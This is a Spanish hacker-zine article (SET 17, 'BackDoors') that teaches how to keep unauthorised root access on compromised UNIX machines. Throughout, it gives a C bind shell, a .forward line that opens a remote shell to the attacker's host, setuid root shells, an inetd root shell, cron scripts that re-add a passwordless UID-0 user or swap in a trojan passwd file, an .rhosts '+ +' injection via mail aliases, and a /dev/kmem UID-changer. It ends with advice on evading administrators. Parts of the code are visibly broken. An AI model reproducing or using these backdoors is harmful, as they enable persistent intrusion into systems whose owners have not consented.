SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

SET 17

99373 visitas

BackDoors

      5279

Autor: Fuego Fatuo
-[ 0x06 ]--------------------------------------------------------------------
-[ BACKDOORS ]---------------------------------------------------------------
-[ by Fuego Fatuo ]---------------------------------------------------SET-17-


      BackDoors    por   Fuego Fatuo (La KaTeDral)

Este texto es una adaptacion/traduccion del articulo 'BackDoors Revised'
publicado en la Confidence Remains High n.3 escrito por Blk-Majik (Menuo nick
XDDDD ). He a~adido algunas backdoors, he modificao otras y he kitao otras.
Osea, ke este texto tambien tiene algo mio.

Utiliza este texto de manera responsable: Osea, ke te sirva pa asegurar algun
hack :)

Introducion:

   COMO? , si esperas ke me enrolle a escribir, la llevas clara .... No me
gusta escribir, asiske ...., si tienes 'alguna' duda me escribes, si no
entiendes casi na, olvidalo tio.... (Ke RADIKAL XDDDD)						


Ke es una backdoor?

   Puessss,....., es una 'Puerta trasera' ke sirve pa volver a entrar a una
makina hackeada en caso de ke te kiten el acceso normal, tb se le llama asi
a lo ke dejas en una makina para asegurarte el root.

   Una cosa debe estar clara, a~adir un usuario con :0:0: es de lamers, ya
ke se detecta como na!,y no solo por el root, tb por otro hacker (yo he
encontrao :0:0: SIN PASSWORD!!! Algun lamer .. ).

   He de reconocer ke yo tengo una cta asi (pero kon pass), pero porke nadie
aparece por esa makina desde hace a~os, osea ke no me preocupa.


Ke necesito pa poner una backdoor?

  Una makina donde ponerla (osea login y pass), de momento, con esto solo te
basta pa poner alguna backdoor, tb es verdad ke kon eso ... poco mas ke
komerte los mocos.


  Nene!!, trabaja un poco y conviertete en root.

  *Por cierto, por si no te habias dao cuenta, me refiero a backdoors para
sistemas basados en UNIX.

Bien, veamos esas backdoors:

  1- Pa poner esta backdoor, con solo ser un simple usuario basta, consiste
en un simple programita en C, ke al ejecutarlo se keda ejecutando en segundo
plano residente, este programita es un servidor, e.d. atiende un puerto,
cuando alguien se conesta a ese puerto,el servidor atiende a ese 'alguien',
ejecuta una shell y deja ke ese alguien interactue (los gurus  de linux me
mataran al ver komo explico esto) con esa shell, osea, komo si estuviera
dentro, eso si, sin dejar logs (esto es bueno),una cosa ke no debeis olvidar,
es poner al final de cada linea un ';' (no voy a explicar porque).

          Pa ke lo entiendas:
                 cat /etc/passwd  -pasa a ser-   cat /etc/passwd;

Se ejecuta el comando y depues dara un error,  pasa de el, komo yo paso de
vosotros ..... ( Y MAS, Y MAS, Y MAS RADIKAL XDDDDD. ME RULO!!!!)

     Evidentemente, esta backdoor no es muy recomendable ya ke se ve con un
simple 'ps', ademas, cuando el servidor ejecuta la shell lo hace como akel ke
ha ejecutao el programa, osea ke si  pones esta backdoor sin ser root, solo
te aseguras el acceso como usuario, bueno ... algo es algo.

     El programa en cuestion:

<++> set_017/backdoors/back1.c
/* quick thingy... bind a shell to a socket... defaults to port 31337 */
/* code by pluvius@io.org                                             */
/* don't forget.. when you connect to the port.. commands are like:   */
/* "ls -l;" or "exit;" (don't forget the ';')                         */
#define PORT 31337
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;

struct sockaddr_in serv_addr; struct sockaddr_in client_addr;

int main ()
 {

soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (soc_des == -1) exit(-1);

bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);

soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0) exit(-1);

if (fork() != 0)  exit(0);

setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0) exit(0);

soc_rc = listen(soc_des, 5);
if (soc_rc != 0) exit(0);
while (1)
{
        soc_len = sizeof(client_addr);
        soc_cli = accept(soc_des, (struct sockaddr *) &client_addr,&soc_len);
        if (soc_cli < 0) exit(0);
        cli_pid = getpid();
        server_pid = fork();

        if (server_pid != 0)
          {
                dup2(soc_cli,0);
                dup2(soc_cli,1);
		dup2(soc_cli,2);
                execl("/bin/sh","sh",(char *)0);
                close(soc_cli);
		exit(0);
           }
	close(soc_cli);
}
}
<-->																						


 *NOTA:  Pa los pocos espabilados: Para  ke no te vean el programa al primer
ps ke haga alguien ponle un nombre que no resalte musso, como 'bash','chfn'
o algo asi ..., vamos, no le pongas 'mi_backdoor'.
																		
  Mejoras:  lo malo de esta backdoor es ke kualkiera ke haga telnet ha ese
puerto entrara, la mejora puede ser  ke pida un password exclusivo (osea
ke no este en el /etc/passwd) y asi solo tu podras entrar por ese puerto. Si
alguien tiene la ocurrencia de hacerlo, por favor, ke me lo mande.

  2- .forward, Esta backdoor es mu chuli, con esta te aseguras el acceso,
consiste en modificar el .forward de un usuario (si es el root cojonudo ya ke
entrarias como root), el .foward es un fichero ke usa el mail, cuando ese
usuario reciba algun mail hara lo ke el .forward ponga ke tiene ke hacer,
responder , ejecutar comandos, etc .... }:)

    Osea, cuando este en una makina pon:

echo \username >> ~/.forward
echo  |"/usr/local/X11/bin/xterm -display hacksys.other.dom:0.0 -e /bin/sh"
>>~/.forward

Esto te abrira una ventana  de X-windows, pero antes debes de poner
'xhost +victima.gov' en un makina para permitir ke se te abra una ventana en
tu sistema desde victima.gov. Por supuesto debes de estar en X-windows
(por si acaso ...).


Ten en cuenta, de ke si mandas correo asi:

	mail tontodelculo@victima.gov

Tardara un tiempo en llegar, por lo tanto tardara un tiempo en ejecutarse lo
ke pongas en el .forward, para solventar este problema, haz:

	telnet victima.gov 25
	HELO kojones.net
	MAIL FROM: tutankamon
	RCPT TO: username
	DATA
	Hola ......
	Soy Edu, Feliz Navidad!!!!
	.
	QUIT

Y ya esta ... asi le llegara el mail casi instantaneamente.

  La verdad es ke hay mejores opciones, ya ke esto lo ejecutaria cada vez ke
ese usuario recibiera mail, bueno, tu eres el encargado de aprovechar esta
backdoor. Tambien recuerda en borrar el mail kuando entres o simplemente no
mandarle un mail sospechoso para ke no sospeche.

  Otra cosa ...... si no tienes IP fija lo anterior de la xterm no te servira
ye ke cada vez tendras una IP distinta.


  A partir de ahora,para poner las siguientes backdoors, debes de ser root,
:( asiske ya sabeis...


  3- Un sushi, esto es una backdoor para mantener el root, pero para
conseguirlo una vez dentro, osea, es copiar una shell (por ejemplo /bin/sh)
con un nombre ke no llame la atencion y como root ponerle los permisos 4755,
es decir, ke cualkiera pueda ejecutar esa shell  con los permisos del root
osea:

	#cp /bin/sh /bin/fwalld
	#chmod 4755 /bin/fwalld

  Si como un usuario normal ejecutas /bin/fwalld .. :) . Lo malo del sushi es
ke si otro lo encuentra y  lo ejecuta tambien se hace root, esto se puede
mejorar poniendo un sushi seguro, esto es, un programa ke te pide password
antes de ejecutar el shell. Aki muestro uno ke he hecho yo, pero, lo pongo
solo pa ke veas como es no para ke lo copies,lo subas y ya tienes backdoor,
porque para eso te subes otras backdoors mejores ke hay (rootkits por ejemplo),
pongo el programa para ke lo veas (si lo kieres usar usalo, a mi me da igual)
y aprendas ha hacer uno (se hace en 3min.) para ponertelo, osea, si no tienes
tiempo para ponerte a instalar un rootkit  vas con el 'vi' mismo escribes el
programa lo compilas (recuerda: chmod 4711 <programa>) y lo dejas alli para
cuando tengas tiempo de instalar el rootkit u otra backdoor mejor.

  Es importante ke sepas programar en C en este mundillo, asiske si no sabes,
deja de poner backdoors  y estudia.

El codigo fuente:

<++> set_017/backdoors/sushi.c
/* Sushi Seguro
 * por Fuego Fatuo (La KaTeDral)
 *
 * El programa se puede  mejorar encriptando el password
 * yo personalmente notengo ninguna gana de molestarme,
 * si alguien desea hacerlo, por favor,que me mande una copia
 */

#include <stdio.h>
#include <stdlib.h>
#define secret_passwd "mipass12\0"
main (void)
{
   char *key;
   key =(char *)(getpass ("Password:"));
   if (!strcmp(key,secret_passwd))
     {
	setuid(0);
	setgid(0);
	seteuid(0);
	setegid(0);
	system("/bin/sh");
     }
  }
<-->


Compila el programa, dale permisos 4711 y ya esta, no hace falta ke copies la
shell. Por supuesto el programa se puede mejorar de mil maneras, si te
molestas en hacerlo, mandame una copia.

4- Inetd. Esta es una de las mas usadas (SI NO LA KE MAS....).

Un POCO de explicacion previa.

  El inetd es un 'programilla' ke escucha los puertos de una makina, entonses,
cuando alguien conesta a un puerto determinao, el inetd ejecuta el demonio
asociao a ese puerto. Bien lo primero: abre un puerto, pa esto esta el
fichero /etc/services.

ok, en el /etc/services vas a ver algo asi:

tcpmux            1/tcp    #TCP Port Service Multiplexer
tcpmux            1/udp    #TCP Port Service Multiplexer
compressnet       2/tcp    #Management Utility
compressnet       2/udp    #Management Utility
compressnet       3/tcp    #Compression Process
compressnet       3/udp    #Compression Process

Ke cojones es esto?

ftp              21/tcp    #File Transfer [Control]

[1]             [2]/[3]    #[         4           ]

  1: Nombre del servicio
  2: Puerto ke usa el sistema pa ese servicio
  3: El protocolo, puede ser tcp o udp, nosotros pondremos el tcp
  4: Descripcion de lo ke hase ese servicio

Bien, eso kiere decir ke esta abierto el puerto 21, y le ha dao el nombre
de ftp. Pos nosotros a~adiremos otra linea mas o menos del mismo estilo, pa
abrir el puerto, el numero/nombre del servicio no debe llamar la atencion,
fijate, ke el numero/nombre del puerto no este ya en uso.
Un puerto ke por ejemplo no se suele usar es el 26, bien pongamos algo asi:

fwalld	  26/tcp	  #Firewall daemon

Ahora, tenemos ke konfigurar el inetd pa ke ejecute una shell cuando alguien
se coneste a ese puerto. Esto se hace en el fichero /etc/inetd.conf , antes
de na, hechemosle un vistazo:

Veras algo asi:

ftp     stream  tcp     nowait  root    /usr/libexec/tcpd       ftpd -l -A
telnet  stream  tcp     nowait  root    /usr/libexec/tcpd       telnetd
shell   stream  tcp     nowait  root    /usr/libexec/tcpd       rshd
login   stream  tcp     nowait  root    /usr/libexec/tcpd       rlogind -a
exec    stream  tcp     nowait  root    /usr/libexec/tcpd       rexecd

Que significa esto?

ftp     stream  tcp     nowait  root    /usr/libexec/tcpd       ftpd -l -A
[1]     [  2  ] [3]     [  4 ]  [ 5 ]   [      6         ]      [    7    ]

  1: Nombre del servicio en el /etc/services.
  2: Tipo de conexion ke utiliza el servicio
  3: Protocolo. Siempre es TCP o UDP
  4: Cuanto tiempo se tiene ke retrasar la conexion.
  5: Usuario kon el ke se ejecuta el demonio (se usa para los permisos
     uid/gid etc ...)
  6: Ke programa va a mantener la conexion
  7: Comando o demonio

  Ok, osea que, segun la linea anterior, Cuando alguien haga un telnet al
puerto 21 de esta makina,va a tener una conexion stream/tcp y no va a esperar
nada. Ademas, el usuario, como root, va a ejecutar sobre /usr/libexec/tcpd el
comando ftpd (demonio de FTP en este caso).

  Ya ke sabemos lo ke significa esto, instalemos lo ke nos falta de nuestra
backdoor, haber .... keremos ke kuando konectemos al puerto 26 se ejecute un
shell, osea /bin/sh no?, vale, estamos deacuerdo, ademas, no keremos ke
espere nada, osea, ke nos deje entrar nada mas conectar, por supuesto, la
shell la tiene ke ejecutar como root si no, pierde casi toda la gracia, lo
ultimo es ver el tipo de conexion, pues es stream/tcp, si eres un poco
'curiosillo' (Cosa muy importante en esta 'profesion' :) te preguntaras
por que?, pos no te lo voy a decir (porque no lo se :), pero bueno ...
tu hazme caso y ya esta, si alguien me kiere escribir para explicarmelo, se
lo agradeceria mucho. Bueno, dejemosnos de rollo, la linea es:

fwalld     stream/tcp    nowait root  /bin/sh sh -i

  Esta linea la meteis por enmedio del /etc/inetd.conf y no canta musso.
  Ahora reseteais el inetd pa ke koja los 'educativos' cambios. :) . Esto lo
haceis asi:

	#killall -1 inetd=20
	o
	# ps ax|grep inetd
	{mira el pid del inetd}
	#kill -9 pid_del_inetd
	#inetd

Haz ps y asegurate ke se ha reiniciado, ya ke lo ke haces es matar el inetd
(nadie se podra conectar) y despues volverlo a ejecutar. Pos ya ta!!! Ya ta
instalada.

Ahora probad la backdoor accediendo como usuario normal:

	$telnet localhost 26
	#



Mejoras para esta backdoor:
   Lo malo de esta backdoor, es ke kualkier otro puede hacer telnet a ese
puerto y entrar como root, ya ke no existe password, bueno ...., puedes poner
que se ejecute, en vez de una shell, un demonio creado por ti y ke pida
password (el kual solo lo sabras tu). Otra posibilidad es ke, en vez de
ejecutar /bin/sh, pongas un sushi como el del aparatado anterior y entonces,
no resaltara tanto ya ke no pondra el /bin/sh, (Mi 'sushi seguro' no
funciona en este caso), la verdad es ke tampoco hace falta ke sea un sushi,
kon ke solo copies el shell basta, no hace falta ke le des permisos
especiales. La linea kedaria  asi:

fwalld	stream/tcp       nowait    root   /bin/fwalld fwalld

Ya resalta menos.

Si alguien realiza un servidor ke pida un password exclusivo (sin ke este en
el /etc/passwd y sin modificar el login) antes de ejecutar una shell ke me lo
mande.

5 - CRONos  I,  el root del tiempo XDDDDD

  Los troyanos del cron son buenos para mantener el acceso como root en un
sistema si el administrador legal (o otro 'no legal' :) nos kita el acceso.

  El Cron es un demonio 'temporal', osea, se encarga de hacer ke el sistema
ejecute la orden ke tu kieras kuando kieras :). Escribe crontab en el shell,
entonces te mostrara como introducir, ejecutar y kitar crons. El fichero de
configuracion es  /var/spool/cron/crontabs/root (no en todos los sistemas
esta ahi, pero bueno... molestate en buscarlo).

Asi es como es el fichero de configuracion:

 0       0       *       *       1       /usr/bin/updatedb
[1]     [2]     [3]     [4]     [5]     [       6         ]

  1: minuto, 0-59
  2: hora, 0-23
  3: dia del mes, 1-31
  4: mes del a=F1o, 1-12
  5: dia de la semana, 0-6
  6: comando a ejecutar

Este cron se ejecutara todos los lunes a las 00:00. Para modificar el Cron
para ke haga algo 'educativo'  solo tienes ke a~adir una linea en el fichero
/var/spool/crontab/root.

Por ejemplo, si, para simplificar tus accesos metes un usuario de UID 0 en el
/etc/passwd, puedes meter un cron ke compruebe si el administrador (el legal
o no) ha kitado ese usuario ke usabas.

Por ejemplo, lo programas para ke se ejecute todos los sabados a las 00:00
(asi puedes acceder a ese sistema durante el fin de semana). Esto se hace
a~adiendo al /var/spool/crontab/root la linea:

0       0       *       *       5       /usr/bin/revive.sh

  Copia este programa en el directorio /usr/bin (o donde kieras), recuerda en
cambiarle el nombre para ke no kante mucho:

revive.sh
---------

<++> set_017/backdoors/revive.sh
#!/bin/sh
#Is YourUser still on the system?  Let's make sure he is.
#daemon9@netcom.com

set evilflag = (`grep YourUser /etc/passwd`)


if($#evilflag == 0) then                                # Is he there?

         set linecount = `wc -l /etc/passwd`
          cd                                      # Do this at home.
          cp /etc/passwd ./temppass               # Safety first.
          @ linecount[1] /= 2
          @ linecount[1] += 1                     # we only want 2 temp files
          split -$linecount[1] ./temppass         # passwd string option
          echo "YourUser::0:0:Mr. Hacker:/home/hacker:/bin/csh" >> ./xaa
          cat ./xab >> ./xaa
          mv ./xaa /etc/passwd
          chmod 644 /etc/passwd                   # or whatever it was
                                                  #beforehand
          rm ./xa* ./temppass
          echo Done...
else
endif
<-->

*** NOTE : MODIFY "YOURUSER" !!

Este programa chekea si esta nuestro usuario en el fichero de password, si no
esta, lo vuelve a meter sin password. Por favor, no seas tan lamer de dejarlo
sin password, ke he visto a mas de uno asi.

Otra posibilidad es ke ponga un sushi cada cierto tiempo:

dead.sh
-------

<++> set_017/backdoors/dead.sh
#!/bin/sh
# Everyone's favorite...

cp /bin/csh /tmp/.yourlittleshell      # Don't name it that...
chmod 4755 /tmp/.yourlittleshell
<-->

Mejoras: Usa tu imaginacion, hay MILLONES de posibilidades, te muestro ahora
otro CRON cojonudo,pero el Cron, no tiene limites :).


6- CRONos II.

Este Cron, para mi, es uno de los mejores,  lo ke hace es, kopiar el fichero
de password y despues poner como fichero de password otro personal durante un
corto espacio de tiempo (1 minuto por ejemplo), asi, solo tu podras entrar a
la hora ke lo pongas, las 4:30 de la madrugada es buena hora (ATENCION!!! ten
en cuenta ke me refiero 4:30 hora de donde este la makina, ke lo mas posible
es ke si estas hackeando fuera de Espa~a ,cosa ke deberias hacer, la hora no
sea la misma, enterate de la diferencia horaria, con el comando time ves la
hora de alli). Bueno aki pongo el cron:

        29      4       *       *       *       /bin/usr/.hiden



Pa el siguiente cron, crea un fichero de password personal /var/spool/mail
llamado .sneaky (o como sea)

Pon en este porgrama en /bin/usr (o donde kieras :)

.hidden
-------

<++> set_017/backdoors/.hidden
#!/bin/sh
# Install trojan /etc/passwd file for one minute
#daemon9@netcom.com
cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.sneaky /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd
<-->


7- Sendmail

Edita el fichero /etc/aliases a~ade esta linea:

decode: |/usr/bin/uudecode

asegurate de ocultarla bien en el fichero.  El fichero uudecode es un script
:).

Aki tienes el script:

uudecode.sh
-----------

<++> set_017/backdoors/uudecode.sh
#!/bin/sh
# Create our .rhosts file.  Note this will output to stdout.

echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts
<-->

Ok, Manda mail a decode, en el subjet metes la version uuencodeada del .rhosts.

echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@victimserver.com

  Puedes a~adir cualkier programa de los listados de antes (los diferentes
CRONs) para ke sean ejecutados por el alias. Se imaginativo.

 *NOTA: Esta backdoor a mi no me funciona en mi linux. No la he probado en
ningun otro sitio.
	 Yo la pongo por si acaso......


8- Esta es experimental, al parecer en algunos sistemas (sobre todo linux)
cuando alguien tiene un uid/gid erroneo en el /etc/passwd, el login le pone
uid/gid 0, osea root.

Ejemplo:
	rmartin:x:x50:50:R. Martin:/home/rmatin:/bin/bash


9- /dev/kmem. Te imaginas poder acceder a memoria para cambiar tu UID?? , por
bien sencillo ke es..., lo unico ke tienes ke hacer es, como root, dejar
/dev/kmem para ke se pueda leer y escribir siendo kien kiera ke seas,
(aparte de cambiar el UID eso sirve para muuuuuuuchas mas cosas). Bien, el
resto lo hace este programa:

<++> set_017/backdoors/kmemrd.c
/* If /kmem is is readable and writable, this program will change the user's
UID and GID to 0.  */
/* This code originally appeared in "UNIX security:
A practical tutorial" with some modifications by daemon9@netcom.com */
#include
#include
#include
#include
#include
#include
#include
#define KEYWORD "nomenclature1"

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{

        int count, fd;
        long where, lseek();

        if(argv[1]){         /* we've got an argument, is it the keyword? */
                if(!(strcmp(KEYWORD,argv[1]))){
                        fd=(open("/dev/kmem",O_RDWR);
                        if(fd<0){
                                printf("Cannot read or write to /dev/kmem\n");
                                perror(argv);
                                exit(10);
                        }
                        userlocation=address();

                        where=(lseek(fd,userlocation,0);
                  if(where!=userlocation){
                                printf("Cannot seek to user page\n");
                                perror(argv);
                                exit(20);
                        }

                        count=read(fd,&userpage,sizeof(struct user));
                        if(count!=sizeof(struct user)){
                                printf("Cannot read user page\n");
                                perror(argv);
                                exit(30);
                        }

	          printf("Current UID: %d\n",userpage.u_ruid);
                        printf("Current GID: %d\n",userpage.g_ruid);

                        userpage.u_ruid=0;
                        userpage.u_rgid=0;
                       where=lseek(fd,userlocation,0);
                        if(where!=userlocation){
                                printf("Cannot seek to user page\n");
                                perror(argv);
                                exit(40);
                        }
                        write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
	          execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
                }
        }
} /* End main */

#include
#include
#include

#define LNULL ((LDFILE *)0)

long address(){
        LDFILE *object;
        SYMENT symbol;
        long idx=0;

        object=ldopen("/unix",LNULL);

        if(!object){
                fprintf(stderr,"Cannot open /unix.\n");
                exit(50);
        }
        for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
                if(!strcmp("_u",ldgetname(object,&symbol))){
                        fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
                        ldclose(object);
                        return(symbol.n_value);
                }
        }

        fprintf(stderr,"Cannot read symbol table in /unix.\n");
        exit(60);
}
<-->


Mejoras:   Para ke la no cante musso esto, es mejor dejar un SUID script ke
lo ke haga sea dejar /dev/kmem con permisos 666 durante un corto espacio de
tiempo en el cual, ejecutas el programa, claro esta ke el  SUID script casi,
casi canta mas ke dejar /dev/kmem escribible y leible todo el tiempo, tu
decides, el script seria:

chmod 666 /dev/kmem
sleep 300               # Nap for 5 minutes
chmod 600 /dev/kmem     # Or whatever it was before

Recuerda darle los permisos 4111.


10- Escapes de shell, bueno, esta otra backdoor a pesar de lo ke parece,
funciona de puta madre y nadie se da cuenta de ella, a no ser ke sea un
hacker de los buenos ke se lo kurra cuando kiere hacerse root, sirve, para
mentener el root (no el acceso), consiste en poner SUID a programas con
escape a shell, como por ejemplo el 'Mail', asi podras ejecutar el programa y
salir a shell y saldras como root, por supuesto, culakiera puede hacerse root
asi, pero nadie se molesta en comprobar si es root cada vez ke lee un mail.

Osea:

#chmod 4755 /bin/Mail
.....
.....
$ mail
you have new mail.
Bla,bla,bla
Bla,bla,bla
&!/bin/sh
#whoami
root


11-Otras: Hay por ahi muuuuuchos troyanos de programas como su,login (recordad
set 11),passwd,chfn, chsh, etc .... los cuales son tambien backdoors, de
hecho son las mejores, pero a mi me dan muchos quebraderos de kabeza (no
compilan, no encuentras para ese sistema operativo, ....), las backdoors ke
he puesto, funcionan en todos los UNIX, o al menos en casi todos, si en
alguno no funciona, seguro ke solo le tienes ke hacer una peke~a variacion
a la backdoor pa ke funsione.


Manteniendo la backdoor :

  El mejor consejo ... Oculta tus rastros, si un admin no se da cuenta de ke
ha sido hackeado, no buscara backdoor alguna, aparte debes de esconder bien
las backdoors. Ten en cuenta una cosa, si el admin descubre ke ha sido hackeado
y es un poco listo, lo mas seguro es ke encuentre tus backdoors (por checksums,
fechas, programas SUID...) asieske, lo primero es poner la backdoor y lo
segundo ocultar tu rastro.


Fuego Fatuo (La KaTeDral).

Para cualkier consulta, mandarme algun programa o sugerencia: fatuo@usa.net
Para insultos, protestas o amenazas de muerte: root@cpd.um.es